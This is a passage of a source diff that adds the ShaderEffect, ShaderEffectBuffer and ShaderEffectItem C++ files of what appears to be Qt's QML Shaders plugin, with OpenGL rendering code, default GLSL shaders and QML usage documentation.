+void ShaderEffect::updateRenderTargets()
+{
+ if (!m_changed)
+ return;
+
+ m_changed = false;
+
+ int count = m_renderTargets.count();
+ for (int i = 0; i < count; i++) {
+ if (m_renderTargets[i]->isLive() || m_renderTargets[i]->isDirtyTexture()) {
+ m_renderTargets[i]->updateBackbuffer();
+ ShaderEffectBuffer* target = m_renderTargets[i]->fbo();
+ if (target && target->isValid() && target->width() > 0 && target->height() > 0) {
+ QPainter p(target);
+ p.setCompositionMode(QPainter::CompositionMode_Clear);
+ p.fillRect(QRect(QPoint(0, 0), target->size()), Qt::transparent);
+ p.setCompositionMode(QPainter::CompositionMode_SourceOver);
+
+ QRectF sourceRect = m_renderTargets[i]->sourceRect();
+ QSize textureSize = m_renderTargets[i]->textureSize();
+
+ qreal yflip = m_renderTargets[i]->isMirrored() ? -1.0 : 1.0; // flip y to match scenegraph, it also flips texturecoordinates
+ qreal xscale = 1.0;
+ qreal yscale = 1.0 * yflip;
+
+ qreal leftMargin = 0.0;
+ qreal rightMargin = 0.0;
+ qreal topMargin = 0.0;
+ qreal bottomMargin = 0.0;
+
+ qreal width = m_renderTargets[i]->sourceItem()->width();
+ qreal height = m_renderTargets[i]->sourceItem()->height();
+
+ if (!sourceRect.isEmpty()) {
+ leftMargin = -sourceRect.left();
+ rightMargin = sourceRect.right() - width;
+ topMargin = -sourceRect.top();
+ bottomMargin = sourceRect.bottom() - height;
+ }
+
+ if ((width + leftMargin + rightMargin) > 0 && (height + topMargin + bottomMargin) > 0) {
+ if (!textureSize.isEmpty()) {
+ qreal textureWidth = textureSize.width();
+ qreal textureHeight = textureSize.height();
+
+ xscale = width / (width + leftMargin + rightMargin);
+ yscale = height / (height + topMargin + bottomMargin);
+
+ p.translate(textureWidth / 2, textureHeight / 2);
+ p.scale(xscale, yscale * yflip);
+ p.translate(-textureWidth / 2, -textureHeight / 2);
+ p.scale(textureWidth / width, textureHeight / height);
+ } else {
+ xscale = width / (width + leftMargin + rightMargin);
+ yscale = height / (height + topMargin + bottomMargin);
+
+ p.translate(width / 2, height / 2);
+ p.scale(xscale, yscale * yflip);
+ p.translate(-width / 2, -height / 2);
+ }
+ }
+
+ drawSource(&p);
+ p.end();
+ m_renderTargets[i]->markSceneGraphDirty();
+ }
+ }
+ }
+}
+
+void ShaderEffect::sourceChanged (ChangeFlags flags)
+{
+ Q_UNUSED(flags);
+ m_changed = true;
+}
+
+void ShaderEffect::addRenderTarget(ShaderEffectSource *target)
+{
+ if (!m_renderTargets.contains(target))
+ m_renderTargets.append(target);
+}
+
+void ShaderEffect::removeRenderTarget(ShaderEffectSource *target)
+{
+ int index = m_renderTargets.indexOf(target);
+ if (index >= 0)
+ m_renderTargets.remove(index);
+ else
+ qWarning() << "ShaderEffect::removeRenderTarget - did not find target.";
+}
+
+bool ShaderEffect::hideOriginal() const
+{
+ if (m_renderTargets.count() == 0)
+ return false;
+
+ // Just like scenegraph version, if there is even one source that says "hide original" we hide it.
+ int count = m_renderTargets.count();
+ for (int i = 0; i < count; i++) {
+ if (m_renderTargets[i]->hideSource())
+ return true;
+ }
+ return false;
+}
diff --git a/src/imports/shaders/shadereffect.h b/src/imports/shaders/shadereffect.h
new file mode 100644
index 00000000..ac61d2ea
--- /dev/null
+++ b/src/imports/shaders/shadereffect.h
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef SHADEREFFECT_H
+#define SHADEREFFECT_H
+
+#include <QGraphicsEffect>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class ShaderEffectSource;
+
+class ShaderEffect : public QGraphicsEffect
+{
+ Q_OBJECT
+
+public:
+ ShaderEffect(QObject *parent = 0);
+ ~ShaderEffect();
+ void addRenderTarget(ShaderEffectSource *target);
+ void removeRenderTarget(ShaderEffectSource *target);
+
+protected:
+ virtual void draw (QPainter *painter);
+ virtual void sourceChanged (ChangeFlags flags);
+
+private:
+ void prepareBufferedDraw(QPainter *painter);
+ void updateRenderTargets();
+ bool hideOriginal() const;
+
+public:
+ QVector<ShaderEffectSource*> m_renderTargets;
+ bool m_changed : 1;
+};
+
+QT_END_HEADER
+
+QT_END_NAMESPACE
+
+#endif // SHADEREFFECT_H
diff --git a/src/imports/shaders/shadereffectbuffer.cpp b/src/imports/shaders/shadereffectbuffer.cpp
new file mode 100644
index 00000000..415f9272
--- /dev/null
+++ b/src/imports/shaders/shadereffectbuffer.cpp
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "shadereffectbuffer.h"
+
+ShaderEffectBuffer::ShaderEffectBuffer(const QSize & size, const QGLFramebufferObjectFormat & format)
+ : QGLFramebufferObject(size, format)
+{
+}
+
+ShaderEffectBuffer::~ShaderEffectBuffer()
+{
+}
+
diff --git a/src/imports/shaders/shadereffectbuffer.h b/src/imports/shaders/shadereffectbuffer.h
new file mode 100644
index 00000000..274a81ac
--- /dev/null
+++ b/src/imports/shaders/shadereffectbuffer.h
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef SHADEREFFECTBUFFER_H
+#define SHADEREFFECTBUFFER_H
+
+#include <QtOpenGL>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class ShaderEffectBuffer : public QGLFramebufferObject
+{
+public:
+ ShaderEffectBuffer(const QSize &size, const QGLFramebufferObjectFormat &format);
+ ~ShaderEffectBuffer();
+};
+
+QT_END_HEADER
+
+QT_END_NAMESPACE
+
+#endif // SHADEREFFECTBUFFER_H
diff --git a/src/imports/shaders/shadereffectitem.cpp b/src/imports/shaders/shadereffectitem.cpp
new file mode 100644
index 00000000..3259c850
--- /dev/null
+++ b/src/imports/shaders/shadereffectitem.cpp
@@ -0,0 +1,955 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "shadereffectitem.h"
+#include "shadereffect.h"
+#include "glfunctions.h"
+
+#include <QPainter>
+#include <QtOpenGL>
+
+static const char qt_default_vertex_code[] =
+ "uniform highp mat4 qt_ModelViewProjectionMatrix;\n"
+ "attribute highp vec4 qt_Vertex;\n"
+ "attribute highp vec2 qt_MultiTexCoord0;\n"
+ "varying highp vec2 qt_TexCoord0;\n"
+ "void main(void)\n"
+ "{\n"
+ "qt_TexCoord0 = qt_MultiTexCoord0;\n"
+ "gl_Position = qt_ModelViewProjectionMatrix * qt_Vertex;\n"
+ "}\n";
+
+static const char qt_default_fragment_code[] =
+ "varying highp vec2 qt_TexCoord0;\n"
+ "uniform lowp sampler2D source;\n"
+ "void main(void)\n"
+ "{\n"
+ "gl_FragColor = texture2D(source, qt_TexCoord0.st);\n"
+ "}\n";
+
+static const char qt_postion_attribute_name[] = "qt_Vertex";
+static const char qt_texcoord_attribute_name[] = "qt_MultiTexCoord0";
+static const char qt_emptyAttributeName[] = "";
+
+
+/*!
+ \qmlclass ShaderEffectItem ShaderEffectItem
+ \ingroup qml-shader-elements
+ \brief The ShaderEffectItem object alters the output of given item with OpenGL shaders.
+ \inherits Item
+
+ ShaderEffectItem is available in the \bold{Qt.labs.shaders 1.0} module.
+ \e {Elements in the Qt.labs module are not guaranteed to remain compatible
+ in future versions.}
+
+ This element provides preliminary support for embedding OpenGL shader code into QML,
+ and may be heavily changed or removed in later versions.
+
+ Requirement for the use of shaders is that the application is either using
+ Qt OpenGL graphicssystem or is using OpenGL by setting QGLWidget as the viewport to QDeclarativeView (depending on which one is the recommened way in the targeted platform).
+
+ ShaderEffectItem internal behaviour is such that during the paint event it first renders its
+ ShaderEffectSource items into a OpenGL framebuffer object which can be used as a texture. If the ShaderEffectSource is defined to be an image,
+ it is directly uploaded as a texture. The texture(s) containing the source pixelcontent are then bound to graphics
+ pipeline texture units. Finally a textured mesh is passed to the vertex- and fragmentshaders which
+ then produce the final output for the ShaderEffectItem. It is possible to alter the mesh structure by defining
+ the amount vertices it contains, but currently it is not possible to import complex 3D-models to be used as the mesh.
+
+ It is possible to define one or more ShaderEffectItems to be a ShaderEffectSource for other ShaderEffectItems, but ShaderEffectItem
+ should never be declared as a child element of its source item(s) because it would cause circular loop in the painting.
+
+ A standard set of vertex attributes are provided for the shaders:
+
+ \list
+ \o qt_Vertex - The primary position of the vertex.
+ \o qt_MultiTexCoord0 - The texture co-ordinate at each vertex for texture unit 0.
+ \endlist
+
+ Additionally following uniforms are available for shaders:
+
+ \list
+ \o qt_Opacity - Effective opacity of the item.
+ \o qt_ModelViewProjectionMatrix - current 4x4 transformation matrix of the item.
+ \endlist
+
+ Furthermore, it is possible to utilize automatic QML propertybinding into vertex- and fragment shader
+ uniforms. Conversions are done according to the table below:
+
+ \table
+ \header
+ \o QML property
+ \o GLSL uniform
+ \row
+ \o property double foo: 1.0
+ \o uniform highp float foo
+ \row
+ \o property real foo: 1.0
+ \o uniform highp float foo
+ \row
+ \o property bool foo: true
+ \o uniform bool foo
+ \row
+ \o property int foo: 1
+ \o uniform int foo
+ \row
+ \o property variant foo: Qt.point(1,1)
+ \o uniform highp vec2 foo
+ \row
+ \o property variant foo: Qt.size(1, 1)
+ \o uniform highp vec2 foo
+ \row
+ \o property variant foo: Qt.rect(1, 1, 2, 2)
+ \o uniform highp vec4 foo
+ \row
+ \o property color foo: "#00000000"
+ \o uniform lowp vec4 foo
+ \row
+ \o property variant foo: Qt.vector3d(1.0, 2.0, 0.0)
+ \o uniform highp vec3 foo
+ \row
+ \o property variant foo: ShaderEffectSource { SourceItem: bar }
+ \o uniform lowp sampler2D foo
+ \endtable
+ \note
+ The uniform precision definitions in the above table are not strict, it is possible to choose the uniform
+ precision based on what is the most suitable for the shader code for that particular uniform.
+
+
+ The below example uses fragment shader to create simple wiggly effect to a text label.
+ Automatic property binding takes care of binding the properties to the uniforms if their
+ names are identical. ShaderEffectSource referring to textLabel is bound to sampler2D uniform inside the fragment
+ shader code.
+
+ \qml
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ width: 300
+ height: 300
+ color: "black"
+
+ Text {
+ id: textLabel
+ text: "Hello World"
+ anchors.centerIn: parent
+ font.pixelSize: 32
+ color: "white"
+
+ }
+
+ ShaderEffectItem {
+ property variant source: ShaderEffectSource { sourceItem: textLabel; hideSource: true }
+ property real wiggleAmount: 0.005
+ anchors.fill: textLabel
+
+ fragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ uniform sampler2D source;
+ uniform highp float wiggleAmount;
+ void main(void)
+ {
+ highp vec2 wiggledTexCoord = qt_TexCoord0;
+ wiggledTexCoord.s += sin(4.0 * 3.141592653589 * wiggledTexCoord.t) * wiggleAmount;
+ gl_FragColor = texture2D(source, wiggledTexCoord.st);
+ }
+ "
+ }
+}
+ \endqml
+ \image shaderexample.png
+
+*/
+
+#ifdef Q_OS_SYMBIAN
+#define OBSERVE_GL_CONTEXT_LOSS 1
+#endif
+
+ShaderEffectItem::ShaderEffectItem(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+ , m_program(0)
+ , m_meshResolution(1, 1)
+ , m_geometry(QSGGeometry::defaultAttributes_TexturedPoint2D(), 4)
+ , m_blending(true)
+ , m_program_dirty(true)
+ , m_active(true)
+ , m_respectsMatrix(false)
+ , m_respectsOpacity(false)
+ , m_checkedViewportUpdateMode(false)
+ , m_checkedOpenGL(false)
+ , m_checkedShaderPrograms(false)
+ , m_hasShaderPrograms(false)
+ , m_mirrored(false)
+ , m_defaultVertexShader(true)
+ , m_contextObserver(0)
+{
+ setFlag(QGraphicsItem::ItemHasNoContents, false);
+ connect(this, SIGNAL(visibleChanged()), this, SLOT(handleVisibilityChange()));
+ m_active = isVisible();
+
+#ifndef OBSERVE_GL_CONTEXT_LOSS
+ m_program = new QGLShaderProgram(this);
+#endif
+}
+
+ShaderEffectItem::~ShaderEffectItem()
+{
+ reset();
+ delete m_contextObserver;
+}
+
+
+/*!
+ \qmlproperty string ShaderEffectItem::fragmentShader
+ This property holds the OpenGL fragment shader code.
+
+ The default fragment shader is following:
+
+ \code
+ varying highp vec2 qt_TexCoord0;
+ uniform sampler2D source;
+ void main(void)
+ {
+ gl_FragColor = texture2D(source, qt_TexCoord0.st);
+ }
+ \endcode
+
+*/
+
+void ShaderEffectItem::setFragmentShader(const QString &code)
+{
+ if (m_fragment_code.constData() == code.constData())
+ return;
+
+ m_fragment_code = code;
+ if (isComponentComplete()) {
+ reset();
+ updateProperties();
+ }
+ emit fragmentShaderChanged();
+}
+
+/*!
+ \qmlproperty string ShaderEffectItem::vertexShader
+ This property holds the OpenGL vertex shader code.
+
+ The default vertex shader is following:
+
+ \code
+ uniform highp mat4 qt_ModelViewProjectionMatrix;
+ attribute highp vec4 qt_Vertex;
+ attribute highp vec2 qt_MultiTexCoord0;
+ varying highp vec2 qt_TexCoord0;
+ void main(void)
+ {
+ qt_TexCoord0 = qt_MultiTexCoord0;
+ gl_Position = qt_ModelViewProjectionMatrix * qt_Vertex;
+ }
+ \endcode
+
+*/
+
+void ShaderEffectItem::setVertexShader(const QString &code)
+{
+ if (m_vertex_code.constData() == code.constData())
+ return;
+
+ m_vertex_code = code;
+ m_defaultVertexShader = false;
+ if (isComponentComplete()) {
+ reset();
+ updateProperties();
+ }
+ emit vertexShaderChanged();
+}
+
+/*!
+ \qmlproperty bool ShaderEffectItem::blending
+ This property defines whether item is drawn using blending.
+
+ If true, the RGBA pixel output from the fragment shader is blended with
+ the pixel RGBA-values already in the framebuffer.
+
+ If false, fragment shader output is written to framebuffer as such.
+
+ Usually drawing without blending is slightly faster, thus disabling blending
+ might be a good choice when item is used as a background element.
+
+ \note
+ By default the pixel data in textures is stored in 32-bit premultiplied alpha format.
+ This should be taken into account when blending or reading the pixel values
+ in the fragment shader code.
+
+ The default value is true.
+*/
+
+void ShaderEffectItem::setBlending(bool enable)
+{
+ if (m_blending == enable)
+ return;
+
+ m_blending = enable;
+ m_changed = true;
+ emit blendingChanged();
+}
+
+
+/*!
+ \qmlproperty QSize ShaderEffectItem::meshResolution
+ This property defines to how many triangles the item is divided into before its
+ vertices are passed to the vertex shader.
+
+ Triangles are defined as triangle strips and the amount of triangles can be controlled
+ separately for x and y-axis.
+
+ The default value is QSize(1,1).
+*/
+
+void ShaderEffectItem::setMeshResolution(const QSize &size)
+{
+ if (size == m_meshResolution)
+ return;
+
+ m_meshResolution = size;
+ emit meshResolutionChanged();
+ updateGeometry();
+}
+
+void ShaderEffectItem::componentComplete()
+{
+ updateProperties();
+ QDeclarativeItem::componentComplete();
+}
+
+void ShaderEffectItem::checkViewportUpdateMode()
+{
+ if (!m_checkedViewportUpdateMode) {
+ QGraphicsScene *s = scene();
+ if (s){
+ QList<QGraphicsView*> views = s->views();
+ for (int i = 0; i < views.count(); i++) {
+ if (views[i]->viewportUpdateMode() != QGraphicsView::FullViewportUpdate) {
+ qWarning() << "ShaderEffectItem::checkViewportUpdateMode - consider setting QGraphicsView::FullViewportUpdate mode with OpenGL!";
+ }
+ }
+ }
+ m_checkedViewportUpdateMode = true;
+ }
+}
+
+void ShaderEffectItem::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ if (!m_active) return;
+
+ const QGLContext *context = QGLContext::currentContext();
+
+ if (context) {
+ if (!m_checkedShaderPrograms) {
+ m_hasShaderPrograms = QGLShaderProgram::hasOpenGLShaderPrograms(context);
+ m_checkedShaderPrograms = true;
+
+ if (!m_hasShaderPrograms)
+ qWarning() << "ShaderEffectItem::paint - Shader programs are not supported";
+ }
+
+ if ( !m_hasShaderPrograms )
+ return;
+
+ checkViewportUpdateMode();
+ painter->save();
+ painter->beginNativePainting();
+ QMatrix4x4 combinedMatrix = QMatrix4x4(painter->transform());
+ renderEffect(painter, combinedMatrix);
+ painter->endNativePainting();
+ painter->restore();
+ } else {
+ if (!m_checkedOpenGL) {
+ qWarning() << "ShaderEffectItem::paint - OpenGL not available";
+ m_checkedOpenGL = true;
+ }
+ }
+}
+
+void ShaderEffectItem::renderEffect(QPainter *painter, const QMatrix4x4 &matrix)
+{
+ if (!painter || !painter->device())
+ return;
+
+#ifdef OBSERVE_GL_CONTEXT_LOSS
+ QGLContext *context = const_cast <QGLContext*> (QGLContext::currentContext());
+ if (!m_program || !m_contextObserver || !m_contextObserver->isValid()) {
+ // Context has changed, re-create QGLShaderProgram
+ if (context) {
+ delete m_program;
+ m_program = 0;
+
+ delete m_contextObserver;
+ m_contextObserver = 0;
+
+ m_program = new QGLShaderProgram(this);
+ m_contextObserver = new QGLFramebufferObject(QSize(2,2));
+
+ if (!m_contextObserver || !m_program) {
+ delete m_program;
+ m_program = 0;
+ delete m_contextObserver;
+ m_contextObserver = 0;
+ qWarning() << "ShaderEffectItem::renderEffect - Creating QGLShaderProgram or QGLFrameBufferObject failed!";
+ }
+ }
+ }
+#endif
+
+ if (!m_program)
+ return;
+
+ if (!m_program->isLinked() || m_program_dirty)
+ updateShaderProgram();
+
+ m_program->bind();
+
+ QMatrix4x4 combinedMatrix;
+ combinedMatrix.scale(2.0 / painter->device()->width(), -2.0 / painter->device()->height(), 1.0);
+ combinedMatrix.translate(-painter->device()->width() / 2.0, -painter->device()->height() / 2.0 );
+ combinedMatrix *= matrix;
+ updateEffectState(combinedMatrix);
+
+ for (int i = 0; i < m_attributeNames.size(); ++i) {
+ m_program->enableAttributeArray(m_geometry.attributes()[i].position);
+ }
+
+ bindGeometry();
+
+ // Optimization, disable depth test when we know we don't need it.
+ if (m_defaultVertexShader) {
+ glDepthMask(false);
+ glDisable(GL_DEPTH_TEST);
+ } else {
+ glEnable(GL_DEPTH_TEST);
+ glDepthFunc(GL_GREATER);
+ glDepthMask(true);
+#if defined(QT_OPENGL_ES)
+ glClearDepthf(0);
+#else
+ glClearDepth(0);
+#endif
+ glClearColor(0, 0, 0, 0);
+ glClear(GL_DEPTH_BUFFER_BIT);
+ }
+
+ if (m_blending){
+ glEnable(GL_BLEND);
+ glBlendFunc (GL_ONE, GL_ONE_MINUS_SRC_ALPHA);
+ } else {
+ glDisable(GL_BLEND);
+ }
+
+ if (m_geometry.indexCount())
+ glDrawElements(m_geometry.drawingMode(), m_geometry.indexCount(), m_geometry.indexType(), m_geometry.indexData());
+ else
+ glDrawArrays(m_geometry.drawingMode(), 0, m_geometry.vertexCount());
+
+ glDepthMask(false);
+ glDisable(GL_DEPTH_TEST);
+
+ for (int i = 0; i < m_attributeNames.size(); ++i)
+ m_program->disableAttributeArray(m_geometry.attributes()[i].position);
+}
+
+void ShaderEffectItem::updateEffectState(const QMatrix4x4 &matrix)
+{
+ if (!m_program)
+ return;
+
+ for (int i = m_sources.size() - 1; i >= 0; --i) {
+ const ShaderEffectItem::SourceData &source = m_sources.at(i);
+ if (!source.source)
+ continue;
+
+ glActiveTexture(GL_TEXTURE0 + i);
+ source.source->bind();
+ }
+
+ if (m_respectsOpacity)
+ m_program->setUniformValue("qt_Opacity", static_cast<float> (effectiveOpacity()));
+
+ if (m_respectsMatrix){
+ m_program->setUniformValue("qt_ModelViewProjectionMatrix", matrix);
+ }
+
+ QSet<QByteArray>::const_iterator it;
+ for (it = m_uniformNames.begin(); it != m_uniformNames.end(); ++it) {
+ const QByteArray &name = *it;
+ QVariant v = property(name.constData());
+
+ switch (v.type()) {
+ case QVariant::Color:
+ m_program->setUniformValue(name.constData(), qvariant_cast<QColor>(v));
+ break;
+ case QVariant::Double:
+ m_program->setUniformValue(name.constData(), (float) qvariant_cast<double>(v));
+ break;
+ case QVariant::Transform:
+ m_program->setUniformValue(name.constData(), qvariant_cast<QTransform>(v));
+ break;
+ case QVariant::Int:
+ m_program->setUniformValue(name.constData(), GLint(v.toInt()));
+ break;
+ case QVariant::Bool:
+ m_program->setUniformValue(name.constData(), GLint(v.toBool()));
+ break;
+ case QVariant::Size:
+ case QVariant::SizeF:
+ m_program->setUniformValue(name.constData(), v.toSizeF());
+ break;
+ case QVariant::Point:
+ case QVariant::PointF:
+ m_program->setUniformValue(name.constData(), v.toPointF());
+ break;
+ case QVariant::Rect:
+ case QVariant::RectF:
+ {
+ QRectF r = v.toRectF();
+ m_program->setUniformValue(name.constData(), r.x(), r.y(), r.width(), r.height());
+ }
+ break;
+ case QVariant::Vector3D:
+ m_program->setUniformValue(name.constData(), qvariant_cast<QVector3D>(v));
+ break;
+ default:
+ break;
+ }
+ }
+}
+
+static inline int size_of_type(GLenum type)
+{
+ static int sizes[] = {
+ sizeof(char),
+ sizeof(unsigned char),
+ sizeof(short),
+ sizeof(unsigned short),
+ sizeof(int),
+ sizeof(unsigned int),
+ sizeof(float),
+ 2,
+ 3,
+ 4,
+ sizeof(double)
+ };
+ return sizes[type - GL_BYTE];
+}
+
+void ShaderEffectItem::bindGeometry()
+{
+ if (!m_program)
+ return;
+
+ char const *const *attrNames = m_attributeNames.constData();
+ int offset = 0;
+ for (int j = 0; j < m_attributeNames.size(); ++j) {
+ if (!*attrNames[j])
+ continue;
+ Q_ASSERT_X(j < m_geometry.attributeCount(), "ShaderEffectItem::bindGeometry()", "Geometry lacks attribute required by material");
+ const QSGGeometry::Attribute &a = m_geometry.attributes()[j];
+ Q_ASSERT_X(j == a.position, "ShaderEffectItem::bindGeometry()", "Geometry does not have continuous attribute positions");
+#if defined(QT_OPENGL_ES_2)
+ GLboolean normalize = a.type != GL_FLOAT;
+#else
+ GLboolean normalize = a.type != GL_FLOAT && a.type != GL_DOUBLE;
+#endif
+ if (normalize)
+ qWarning() << "ShaderEffectItem::bindGeometry() - non supported attribute type!";
+
+ m_program->setAttributeArray(a.position, (GLfloat*) (((char*) m_geometry.vertexData()) + offset), a.tupleSize, m_geometry.stride());
+ //glVertexAttribPointer(a.position, a.tupleSize, a.type, normalize, m_geometry.stride(), (char *) m_geometry.vertexData() + offset);
+ offset += a.tupleSize * size_of_type(a.type);
+ }
+}
+
+void ShaderEffectItem::updateGeometry()
+{
+ QRectF srcRect(0, 1, 1, -1);
+
+ if (m_mirrored)
+ srcRect = QRectF(0, 0, 1, 1);
+
+ QRectF dstRect = QRectF(0,0, width(), height());
+
+ int vmesh = m_meshResolution.height();
+ int hmesh = m_meshResolution.width();
+
+ QSGGeometry *g = &m_geometry;
+ if (vmesh == 1 && hmesh == 1) {
+ if (g->vertexCount() != 4)
+ g->allocate(4);
+ QSGGeometry::updateTexturedRectGeometry(g, dstRect, srcRect);
+ return;
+ }
+
+ g->allocate((vmesh + 1) * (hmesh + 1), vmesh * 2 * (hmesh + 2));
+
+ QSGGeometry::TexturedPoint2D *vdata = g->vertexDataAsTexturedPoint2D();
+
+ for (int iy = 0; iy <= vmesh; ++iy) {
+ float fy = iy / float(vmesh);
+ float y = float(dstRect.top()) + fy * float(dstRect.height());
+ float ty = float(srcRect.top()) + fy * float(srcRect.height());
+ for (int ix = 0; ix <= hmesh; ++ix) {
+ float fx = ix / float(hmesh);
+ vdata->x = float(dstRect.left()) + fx * float(dstRect.width());
+ vdata->y = y;
+ vdata->tx = float(srcRect.left()) + fx * float(srcRect.width());
+ vdata->ty = ty;
+ ++vdata;
+ }
+ }
+
+ quint16 *indices = (quint16 *)g->indexDataAsUShort();
+ int i = 0;
+ for (int iy = 0; iy < vmesh; ++iy) {
+ *(indices++) = i + hmesh + 1;
+ for (int ix = 0; ix <= hmesh; ++ix, ++i) {
+ *(indices++) = i + hmesh + 1;
+ *(indices++) = i;
+ }
+ *(indices++) = i - 1;
+ }
+}
+
+void ShaderEffectItem::setActive(bool enable)
+{
+ if (m_active == enable)
+ return;
+
+ if (m_active) {
+ for (int i = 0; i < m_sources.size(); ++i) {
+ ShaderEffectSource *source = m_sources.at(i).source;
+ if (!source)
+ continue;
+ disconnect(source, SIGNAL(repaintRequired()), this, SLOT(markDirty()));
+ source->derefFromEffectItem();
+ }
+ }
+
+ m_active = enable;
+
+ if (m_active) {
+ for (int i = 0; i < m_sources.size(); ++i) {
+ ShaderEffectSource *source = m_sources.at(i).source;
+ if (!source)
+ continue;
+ source->refFromEffectItem();
+ connect(source, SIGNAL(repaintRequired()), this, SLOT(markDirty()));
+ }
+ }
+
+ // QGLShaderProgram is deleted when not active (to minimize GPU memory usage).
+#ifdef OBSERVE_GL_CONTEXT_LOSS
+ if (!m_active && m_program) {
+ delete m_program;
+ m_program = 0;
+ delete m_contextObserver;
+ m_contextObserver = 0;
+ }
+#endif
+
+ emit activeChanged();
+ markDirty();
+}
+
+void ShaderEffectItem::preprocess()
+{
+ for (int i = 0; i < m_sources.size(); ++i) {
+ ShaderEffectSource *source = m_sources.at(i).source;
+ if (source)
+ source->updateBackbuffer();
+ }
+}
+
+void ShaderEffectItem::geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry)
+{
+ if (newGeometry.size() != oldGeometry.size())
+ updateGeometry();
